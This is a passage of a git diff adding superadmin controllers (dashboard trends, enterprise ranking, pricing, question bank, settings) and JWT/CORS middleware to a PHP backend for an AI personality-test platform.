(in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { + $trendMap[$d][$type] += $cnt; + $trendMap[$d]['total'] += $cnt; + } + } + + $trendData = []; + for ($i = 0; $i < $days; $i++) { + $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + if (isset($trendMap[$d])) { + $trendData[] = $trendMap[$d]; + } else { + $trendData[] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + } + + return success($trendData); + } catch (\Throwable $e) { + return error('获取测试趋势失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业活跃排行(按测试次数、支付金额);金额单位:分 + */ + public function enterpriseRanking() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + $limit = min(20, max(5, (int) Request::param('limit', 10))); + $result = []; + + try { + // 企业表 left join 测试与订单,保证无测试/无订单的企业也出现(测试数、金额为 0) + $list = Db::name('enterprises') + ->alias('e') + ->leftJoin('test_results tr', 'tr.enterpriseId = e.id') + ->leftJoin('orders o', 'o.enterpriseId = e.id AND o.status IN (\'paid\',\'completed\')') + ->field('e.id, e.name, COUNT(DISTINCT tr.id) as testCount, COALESCE(SUM(o.amount), 0) as totalAmount') + ->group('e.id') + ->order('testCount', 'desc') + ->order('totalAmount', 'desc') + ->limit($limit) + ->select() + ->toArray(); + + foreach (is_array($list) ? $list : [] as $item) { + $result[] = [ + 'id' => (int) ($item['id'] ?? 0), + 'name' => $item['name'] ?? '', + 'tests' => (int) ($item['testCount'] ?? 0), + 'amount' => (int) ($item['totalAmount'] ?? 0), + ]; + } + } catch (\Throwable $e) { + // 若 join 报错(如表/字段不一致),降级为只查企业列表,测试与金额为 0 + $list = Db::name('enterprises')->field('id, name')->order('id', 'desc')->limit($limit)->select()->toArray(); + foreach (is_array($list) ? $list : [] as $item) { + $result[] = [ + 'id' => (int) ($item['id'] ?? 0), + 'name' => $item['name'] ?? '', + 'tests' => 0, + 'amount' => 0, + ]; + } + } + + return success($result); + } catch (\Throwable $e) { + return error('获取企业排行失败:' . $e->getMessage(), 500); + } + } + + private function formatTime($timestamp) + { + if ($timestamp === null || $timestamp === '') { + return ''; + } + $ts = is_numeric($timestamp) ? (int) $timestamp : strtotime($timestamp); + if ($ts <= 0) { + return ''; + } + $diff = time() - $ts; + if ($diff < 60) { + return '刚刚'; + } + if ($diff < 3600) { + return floor($diff / 60) . '分钟前'; + } + if ($diff < 86400) { + return floor($diff / 3600) . '小时前'; + } + if ($diff < 604800) { + return floor($diff / 86400) . '天前'; + } + return date('Y-m-d H:i', $ts); + } +} diff --git a/api/app/controller/superadmin/Pricing.php b/api/app/controller/superadmin/Pricing.php new file mode 100644 index 0000000..4e5191b --- /dev/null +++ b/api/app/controller/superadmin/Pricing.php @@ -0,0 +1,200 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $type = Request::param('type', ''); // personal/enterprise/deep + $enterpriseId = Request::param('enterpriseId', null); // 仅 type=enterprise 时有效,不传为全局 + + if ($type) { + $enterpriseId = $enterpriseId !== null && $enterpriseId !== '' ? (int) $enterpriseId : null; + $query = PricingConfigModel::where('type', $type); + if ($type === 'enterprise') { + $query->where(empty($enterpriseId) ? 'enterpriseId' : 'enterpriseId', empty($enterpriseId) ? 'null' : '=', empty($enterpriseId) ? null : $enterpriseId); + if (empty($enterpriseId)) { + $query->whereNull('enterpriseId'); + } else { + $query->where('enterpriseId', $enterpriseId); + } + } else { + $query->whereNull('enterpriseId'); + } + $config = $query->find(); + if (!$config) { + return error('定价配置不存在', 404); + } + return success([ + 'type' => $config->type, + 'enterpriseId' => $config->enterpriseId, + 'config' => $config->config + ]); + } else { + // 获取所有:个人/深度各一条(全局),企业=全局默认定价 + 各企业专属列表 + $configs = PricingConfigModel::select()->toArray(); + $result = ['personal' => null, 'enterprise' => null, 'deep' => null, 'enterpriseList' => []]; + foreach ($configs as $row) { + if ($row['enterpriseId'] === null || $row['enterpriseId'] === '') { + $result[$row['type']] = $row['config']; + } else { + if ($row['type'] === 'enterprise') { + $result['enterpriseList'][] = ['enterpriseId' => (int) $row['enterpriseId'], 'config' => $row['config']]; + } + } + } + return success($result); + } + } + + /** + * 更新定价配置 + * @return \think\response\Json + */ + public function update() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // PUT JSON body 需显式解析,直接用 param() 读深层嵌套数组可能丢失数据 + $rawBody = (string) $this->request->getContent(); + $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; + + if (is_array($jsonData)) { + $type = (string) ($jsonData['type'] ?? ''); + $enterpriseId = $jsonData['enterpriseId'] ?? null; + $config = $jsonData['config'] ?? []; + } else { + $type = (string) Request::param('type', ''); + $enterpriseId = Request::param('enterpriseId', null); + $config = Request::param('config', []); + } + + if (empty($type)) { + return error('定价类型不能为空', 400); + } + + if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { + return error('定价类型无效', 400); + } + + if (empty($config) || !is_array($config)) { + return error('配置数据不能为空', 400); + } + + $enterpriseId = ($type === 'enterprise' && $enterpriseId !== null && $enterpriseId !== '') ? (int) $enterpriseId : null; + if ($type !== 'enterprise') { + $enterpriseId = null; + } + + $query = PricingConfigModel::where('type', $type); + if ($type === 'enterprise') { + if ($enterpriseId !== null) { + $query->where('enterpriseId', $enterpriseId); + } else { + $query->whereNull('enterpriseId'); + } + } else { + $query->whereNull('enterpriseId'); + } + // deep_personal / deep_enterprise 仅全局一条,不按企业分 + $pricingConfig = $query->find(); + + if (!$pricingConfig) { + $pricingConfig = PricingConfigModel::create([ + 'type' => $type, + 'enterpriseId' => $enterpriseId, + 'config' => $config + ]); + } else { + $pricingConfig->config = $config; + $pricingConfig->save(); + } + + return success([ + 'type' => $pricingConfig->type, + 'enterpriseId' => $pricingConfig->enterpriseId, + 'config' => $pricingConfig->config + ], '保存成功'); + } + + /** + * 批量更新定价配置 + * @return \think\response\Json + */ + public function batchUpdate() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $rawBody = (string) $this->request->getContent(); + $jsonData = ($rawBody !== '') ? json_decode($rawBody, true) : null; + $data = is_array($jsonData) ? ($jsonData['data'] ?? []) : Request::param('data', []); + + if (empty($data) || !is_array($data)) { + return error('配置数据不能为空', 400); + } + + $successCount = 0; + $errors = []; + + foreach ($data as $type => $config) { + if (!in_array($type, ['personal', 'enterprise', 'deep', 'deep_personal', 'deep_enterprise'])) { + $errors[] = "类型 {$type} 无效"; + continue; + } + + if (empty($config) || !is_array($config)) { + $errors[] = "类型 {$type} 的配置数据无效"; + continue; + } + + try { + $pricingConfig = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); + + if (!$pricingConfig) { + PricingConfigModel::create([ + 'type' => $type, + 'config' => $config + ]); + } else { + $pricingConfig->config = $config; + $pricingConfig->save(); + } + $successCount++; + } catch (\Exception $e) { + $errors[] = "保存类型 {$type} 失败:" . $e->getMessage(); + } + } + + if (!empty($errors)) { + return error('部分配置保存失败:' . implode(';', $errors), 400); + } + + return success(null, "成功保存 {$successCount} 个配置"); + } +} + diff --git a/api/app/controller/superadmin/Question.php b/api/app/controller/superadmin/Question.php new file mode 100644 index 0000000..2ae7f2c --- /dev/null +++ b/api/app/controller/superadmin/Question.php @@ -0,0 +1,332 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $type = Request::param('type', ''); // mbti/disc/pdp + $status = Request::param('status', ''); // 1启用/0禁用 + + $where = []; + + // 只查询超管题库(enterpriseId = NULL) + $where['enterpriseId'] = null; + + // 类型筛选 + if ($type) { + $where['type'] = $type; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询题库列表 + $list = QuestionModel::where($where) + ->order('sort', 'asc') + ->order('id', 'asc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 处理 options 字段,确保返回数组格式 + foreach ($list as &$item) { + if (isset($item['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($item['options'])) { + $item['options'] = json_decode(json_encode($item['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($item['options']) && !isset($item['options'][0])) { + $item['options'] = array_values($item['options']); + } + } + } + unset($item); + + // 总数 + $total = QuestionModel::where($where)->count(); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize + ]); + } + + /** + * 获取题目详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能查看超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $data = $question->toArray(); + + // 处理 options 字段,确保返回数组格式 + if (isset($data['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($data['options'])) { + $data['options'] = json_decode(json_encode($data['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($data['options']) && !isset($data['options'][0])) { + $data['options'] = array_values($data['options']); + } + } + + return success($data); + } + + /** + * 创建题目 + * @return \think\response\Json + */ + public function create() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证必填字段 + if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { + return error('题目类型、题目内容和选项不能为空', 400); + } + + // 验证类型 + if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (!is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if ($data['type'] === 'mbti' && empty($data['dimension'])) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 设置超管题库标识(enterpriseId = NULL) + $data['enterpriseId'] = null; + + // 设置默认值 + $data['sort'] = $data['sort'] ?? 0; + $data['status'] = $data['status'] ?? 1; + + // 创建题目 + $question = QuestionModel::create($data); + + return success($question->toArray(), '创建成功'); + } + + /** + * 更新题目 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能更新超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证类型 + if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (isset($data['options']) && !is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 更新题目 + $question->save($data); + + return success($question->toArray(), '更新成功'); + } + + /** + * 删除题目(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能删除超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + // 执行软删除 + $question->delete(); + + return success(null, '删除成功'); + } + + /** + * 批量导入题目 + * @return \think\response\Json + */ + public function batchImport() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $questions = Request::param('questions', []); + + if (empty($questions) || !is_array($questions)) { + return error('题目数据不能为空', 400); + } + + $successCount = 0; + $failCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($questions as $index => $q) { + // 验证必填字段 + if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; + continue; + } + + // 验证类型 + if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; + continue; + } + + // MBTI类型需要dimension字段 + if ($q['type'] === 'mbti' && empty($q['dimension'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; + continue; + } + + // 设置超管题库标识 + $q['enterpriseId'] = null; + $q['sort'] = $q['sort'] ?? ($index + 1); + $q['status'] = $q['status'] ?? 1; + + QuestionModel::create($q); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量导入失败:' . $e->getMessage(), 500); + } + + return success([ + 'successCount' => $successCount, + 'failCount' => $failCount, + 'errors' => $errors + ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); + } + + /** + * 切换题目状态 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) // 只能操作超管题库 + ->find(); + + if (!$question) { + return error('题目不存在', 404); + } + + $question->status = $question->status == 1 ? 0 : 1; + $question->save(); + + return success($question->toArray(), '状态更新成功'); + } +} + diff --git a/api/app/controller/superadmin/Settings.php b/api/app/controller/superadmin/Settings.php new file mode 100644 index 0000000..f0ea893 --- /dev/null +++ b/api/app/controller/superadmin/Settings.php @@ -0,0 +1,494 @@ +request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + try { + // 获取系统配置(全局 enterprise_id=0) + $systemConfig = SystemConfigModel::where('key', 'system')->where('enterprise_id', 0)->find(); + $notificationConfig = SystemConfigModel::where('key', 'notification')->where('enterprise_id', 0)->find(); + $promptsConfig = SystemConfigModel::where('key', 'prompts')->where('enterprise_id', 0)->find(); + $reportRequiresPaymentConfig = SystemConfigModel::where('key', 'report_requires_payment')->where('enterprise_id', 0)->find(); + $textConfigModel = SystemConfigModel::where('key', 'text_config')->where('enterprise_id', 0)->find(); + + // 获取当前超管用户名(直接使用JWT中的username) + $jwtUsername = $user['username'] ?? null; + $username = 'admin'; + + if ($jwtUsername) { + $currentUser = UserModel::where('username', $jwtUsername) + ->where('role', 'superadmin') + ->find(); + if ($currentUser) { + $username = $currentUser->username; + } else { + // 如果找不到用户,使用JWT中的username + $username = $jwtUsername; + } + } + + return success([ + 'system' => $systemConfig ? $systemConfig->value : [ + 'siteName' => '神仙团队AI性格测试', + 'siteDescription' => '专业的AI性格测试平台', + 'miniprogramName' => '神仙团队AI性格测试', + 'maintenanceMode' => false, + 'maxTestsPerDay' => 100, + 'trialTestCount' => 10 + ], + 'notification' => $notificationConfig ? $notificationConfig->value : [ + 'emailNotification' => true, + 'lowBalanceAlert' => true, + 'lowBalanceThreshold' => 1000, + 'newEnterpriseNotify' => true + ], + 'prompts' => $promptsConfig && !empty($promptsConfig->value) ? $promptsConfig->value : [ + 'faceAnalyze' => '{"mbti":"四字母如INTJ","pdp":"老虎/孔雀/考拉/猫头鹰/变色龙其一","disc":"D/I/S/C其一","overview":"一段50字以内的综合描述","faceAnalysis":"面相特点简短描述"}', + 'reportSummary' => '' + ], + 'reportRequiresPayment' => $reportRequiresPaymentConfig && !empty($reportRequiresPaymentConfig->value) ? $reportRequiresPaymentConfig->value : ['face' => 1, 'mbti' => 0, 'disc' => 0, 'pdp' => 0], + 'textConfig' => $textConfigModel && !empty($textConfigModel->value) ? $textConfigModel->value : [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析' + ], + 'username' => $username + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新系统配置 + * @return \think\response\Json + */ + public function updateSystem() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + // 前端 axios 发 JSON body,用 getContent 解析更可靠 + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = []; + } + + $allowedKeys = ['siteName', 'siteDescription', 'miniprogramName', 'maintenanceMode', 'maxTestsPerDay', 'trialTestCount']; + $data = array_intersect_key($input, array_flip($allowedKeys)); + // 兼容 fallback:JSON 解析失败时尝试 Request::only + if (empty($data)) { + $data = Request::only($allowedKeys); + } + $textConfig = $input['textConfig'] ?? (Request::param('textConfig') ?: []); + + try { + // 查找或创建全局配置(enterprise_id=0) + $config = SystemConfigModel::where('key', 'system')->where('enterprise_id', 0)->find(); + if (!$config) { + $config = new SystemConfigModel(); + $config->key = 'system'; + $config->enterprise_id = 0; + $config->description = '系统基础配置'; + } + $config->value = $data; + $config->save(); + + // 更新站点信息 + $this->updateSiteInfo($data); + + // 保存全局小程序文案配置(enterprise_id=0) + if (is_array($textConfig)) { + $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText']; + $tcData = array_intersect_key($textConfig, array_flip($tcKeys)); + $tcDefaults = ['analyzingTitle' => '正在分析中', 'startButtonText' => '开始面相测试', 'startButtonEnterprise' => '开始面部测试', 'reportTitle' => '分析报告', 'aiAnalysisText' => '智能分析']; + $tcConfig = SystemConfigModel::where('key', 'text_config')->where('enterprise_id', 0)->find(); + if (!$tcConfig) { + $tcConfig = new SystemConfigModel(); + $tcConfig->key = 'text_config'; + $tcConfig->enterprise_id = 0; + $tcConfig->description = '小程序文案配置(全局)'; + } + $tcConfig->value = array_merge($tcDefaults, $tcData); + $tcConfig->save(); + } + + return success($config->value, '系统配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新「报告需付费」配置:哪些测试类型需付费后才显示完整报告 + * PUT body: { "face": 1, "mbti": 0, "disc": 0, "pdp": 0 }(1=需付费解锁完整,0=免费完整) + * @return \think\response\Json + */ + public function updateReportRequiresPayment() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::param('reportRequiresPayment', Request::param('data', [])); + if (!is_array($data)) { + return error('配置格式错误', 400); + } + + $defaults = ['face' => 1, 'mbti' => 0, 'disc' => 0, 'pdp' => 0]; + $value = array_merge($defaults, array_intersect_key($data, array_flip(['face', 'mbti', 'disc', 'pdp']))); + $value = array_map(function ($v) { return (int) $v ? 1 : 0; }, $value); + + try { + $config = SystemConfigModel::where('key', 'report_requires_payment')->where('enterprise_id', 0)->find(); + if (!$config) { + $config = new SystemConfigModel(); + $config->key = 'report_requires_payment'; + $config->enterprise_id = 0; + $config->description = '哪些测试类型需付费后才显示完整报告:1需付费0免费'; + } + $config->value = $value; + $config->save(); + return success($config->value, '报告付费开关已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新提示词配置 + * @return \think\response\Json + */ + public function updatePrompts() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::param('prompts', []); + if (!is_array($data)) { + return error('提示词配置格式错误', 400); + } + + try { + $config = SystemConfigModel::where('key', 'prompts')->where('enterprise_id', 0)->find(); + if (!$config) { + $config = new SystemConfigModel(); + $config->key = 'prompts'; + $config->enterprise_id = 0; + $config->description = '系统提示词配置(如面相分析、企业简历等)'; + } + $config->value = $data; + $config->save(); + return success($config->value, '提示词配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新通知配置 + * @return \think\response\Json + */ + public function updateNotification() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $data = Request::only([ + 'emailNotification', 'lowBalanceAlert', + 'lowBalanceThreshold', 'newEnterpriseNotify' + ]); + + try { + $config = SystemConfigModel::where('key', 'notification')->where('enterprise_id', 0)->find(); + if (!$config) { + $config = new SystemConfigModel(); + $config->key = 'notification'; + $config->enterprise_id = 0; + $config->description = '通知与告警配置'; + } + $config->value = $data; + $config->save(); + + return success($config->value, '通知配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新超管账户信息 + * @return \think\response\Json + */ + public function updateCredentials() + { + // 验证是否为超级管理员 + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + // 兼容 axios JSON PUT 与表单提交 + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + $username = trim((string)($input['username'] ?? Request::param('username', ''))); + $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', '')); + $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', '')); + $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', '')); + + if (empty($username)) { + return error('用户名不能为空', 400); + } + + try { + // 优先使用JWT中的username来查找用户(最可靠的方式) + $jwtUsername = $user['username'] ?? null; + + if (empty($jwtUsername)) { + \think\facade\Log::error('JWT中缺少username', [ + 'user' => $user, + 'requestUserId' => $this->request->userId ?? null + ]); + return error('无法获取用户信息,请重新登录', 400); + } + + // 直接通过username查找用户 + $userModel = UserModel::where('username', $jwtUsername) + ->where('role', 'superadmin') + ->find(); + + if (!$userModel) { + // 添加调试信息 + \think\facade\Log::error('用户不存在', [ + 'jwtUsername' => $jwtUsername, + 'user' => $user, + 'requestUserId' => $this->request->userId ?? null, + 'requestUsername' => $username + ]); + return error('用户不存在,请检查登录状态', 404); + } + + // 验证当前用户是否为超级管理员(双重验证) + if ($userModel->role !== 'superadmin') { + \think\facade\Log::error('用户角色不正确', [ + 'userId' => $userModel->id, + 'role' => $userModel->role + ]); + return error('无权限修改此账户', 403); + } + + // 如果要修改密码,需要验证当前密码 + if (!empty($newPassword)) { + if (empty($currentPassword)) { + return error('请输入当前密码', 400); + } + + if ($newPassword !== $confirmPassword) { + return error('两次输入的密码不一致', 400); + } + + // 验证当前密码(User 模型中 password 字段已是加密值) + if (!password_verify($currentPassword, $userModel->password)) { + return error('当前密码错误', 400); + } + + // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密 + $userModel->password = $newPassword; + } + + // 更新用户名 + if ($username !== $userModel->username) { + // 检查用户名是否已存在(排除当前用户) + $exists = UserModel::where('username', $username) + ->where('id', '<>', $userModel->id) + ->find(); + + if ($exists) { + return error('用户名已存在', 400); + } + + $userModel->username = $username; + } + + $userModel->save(); + + return success([ + 'username' => $userModel->username + ], '账户信息已更新'); + } catch (\Exception $e) { + return error('更新失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取可用字体列表 + * GET /api/v1/superadmin/settings/fonts + */ + public function getFonts() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + $fonts = \app\common\service\PosterService::getAvailableFonts(); + return success([ + 'fonts' => $fonts, + 'fontDir' => root_path() . 'public/fonts/', + 'dirExist' => is_dir(root_path() . 'public/fonts/'), + ]); + } + + /** + * 获取海报配置 + * GET /api/v1/superadmin/settings/poster + */ + public function getPosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $row = Db::name('system_config')->where('key', 'poster_config')->where('enterprise_id', 0)->find(); + $raw = $row['value'] ?? null; + $poster = self::decodeJsonSafe($raw) ?: [ + 'bgColor' => '#ffffff', + 'bgImage' => '', + 'elements' => [] + ]; + return success(['poster' => $poster]); + } + + /** + * 保存海报配置 + * PUT /api/v1/superadmin/settings/poster + */ + public function updatePosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || $user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = []; + } + $data = [ + 'bgColor' => $input['bgColor'] ?? '#ffffff', + 'bgImage' => $input['bgImage'] ?? '', + 'elements' => $input['elements'] ?? [] + ]; + $jsonValue = json_encode($data, JSON_UNESCAPED_UNICODE); + + try { + $now = time(); + $exists = Db::name('system_config')->where('key', 'poster_config')->where('enterprise_id', 0)->find(); + if ($exists) { + Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', 0) + ->update(['value' => $jsonValue, 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => 'poster_config', + 'enterprise_id' => 0, + 'value' => $jsonValue, + 'description' => '分销海报可视化配置(全局)', + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + return success(null, '海报配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 安全解码 JSON(处理可能的多重编码) + */ + private static function decodeJsonSafe($raw): ?array + { + if (!$raw) return null; + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + return is_array($val) ? $val : null; + } + + /** + * 更新站点信息 + * 当系统配置中的siteName或siteDescription修改时,同步更新站点信息 + */ + private function updateSiteInfo($systemData) + { + try { + $siteConfig = SystemConfigModel::where('key', 'site_info')->where('enterprise_id', 0)->find(); + $siteInfo = [ + 'siteName' => $systemData['siteName'] ?? '', + 'siteDescription' => $systemData['siteDescription'] ?? '', + 'miniprogramName' => $systemData['miniprogramName'] ?? '', + 'updatedAt' => time() + ]; + if (!$siteConfig) { + $siteConfig = new SystemConfigModel(); + $siteConfig->key = 'site_info'; + $siteConfig->enterprise_id = 0; + $siteConfig->description = '站点信息配置'; + } + $siteConfig->value = $siteInfo; + $siteConfig->save(); + + // 也可以更新其他相关的配置或缓存 + // 例如:清除缓存、更新.env文件等 + + } catch (\Exception $e) { + // 站点信息更新失败不影响系统配置保存 + \think\facade\Log::error('更新站点信息失败:' . $e->getMessage()); + } + } +} + diff --git a/api/app/middleware/Auth.php b/api/app/middleware/Auth.php new file mode 100644 index 0000000..0611187 --- /dev/null +++ b/api/app/middleware/Auth.php @@ -0,0 +1,48 @@ + 401, + 'message' => '未登录或Token无效', + 'data' => null + ])->code(401); + } + + // 验证Token + $payload = JwtService::verifyToken($token); + + if (!$payload) { + return json([ + 'code' => 401, + 'message' => 'Token无效或已过期', + 'data' => null + ])->code(401); + } + + // 将用户信息存储到请求中,供控制器使用 + $request->user = $payload; + $request->userId = $payload['userId'] ?? $payload['user_id'] ?? null; + + return $next($request); + } +} + diff --git a/api/app/middleware/Cors.php b/api/app/middleware/Cors.php new file mode 100644 index 0000000..16c387c --- /dev/null +++ b/api/app/middleware/Cors.php @@ -0,0 +1,74 @@ +header('Origin', ''); + + // 确定允许的Origin + $allowedOrigin = null; + if ($allowOrigin === '*') { + $allowedOrigin = '*'; + } else { + // 支持多个域名(用逗号分隔) + $origins = array_map('trim', explode(',', $allowOrigin)); + + // 如果请求的Origin在允许列表中,则使用该Origin + // 同时支持带/不带尾部斜杠的匹配 + foreach ($origins as $allowed) { + if ($origin === $allowed || $origin === rtrim($allowed, '/') || rtrim($origin, '/') === $allowed) { + $allowedOrigin = $origin; + break; + } + } + } + + // 处理预检请求(OPTIONS) + if ($request->method(true) === 'OPTIONS') { + $response = response('', 200); + } else { + $response = $next($request); + } + + // 设置CORS响应头 + if ($allowedOrigin !== null) { + $headers = [ + 'Access-Control-Allow-Origin' => $allowedOrigin, + 'Access-Control-Allow-Methods' => $allowMethods, + 'Access-Control-Allow-Headers' => $allowHeaders, + 'Access-Control-Max-Age' => (string)$maxAge, + ]; + + if ($allowCredentials) { + $headers['Access-Control-Allow-Credentials'] = 'true'; + } + + // 使用header方法设置响应头(ThinkPHP 8 需要传递数组) + $response->header($headers); + } + + return $response; + } +} diff --git a/api/app/middleware/SuperAdmin.php b/api/app/middleware/SuperAdmin.php new file mode 100644 index 0000000..d242d56 --- /dev/null +++ b/api/app/middleware/SuperAdmin.php @@ -0,0 +1,57 @@ + 401, + 'message' => '未登录或Token无效', + 'data' => null + ])->code(401); + } + + // 验证Token + $payload = JwtService::verifyToken($token); + + if (!$payload) { + return json([ + 'code' => 401, + 'message' => 'Token无效或已过期', + 'data' => null + ])->code(401); + } + + // 验证是否为超级管理员 + if ($payload['role'] !== 'superadmin') { + return json([ + 'code' => 403, + 'message' => '无权限访问,需要超级管理员权限', + 'data' => null + ])->code(403); + } + + // 将用户信息存储到请求中,供控制器使用 + $request->user = $payload; + $request->userId = $payload['userId'] ?? null; + + return $next($request); + } +} + diff --git a/api/app/model/AiProvider.php b/api/app/model/AiProvider.php new file mode 100644 index 0000000..1ca775b --- /dev/null +++ b/api/app/model/AiProvider.php @@ -0,0 +1,109 @@ + 'int', + 'providerId' => 'string', + 'name' => 'string', + 'enabled' => 'int', + 'visible' => 'int', + 'apiKey' => 'string', + 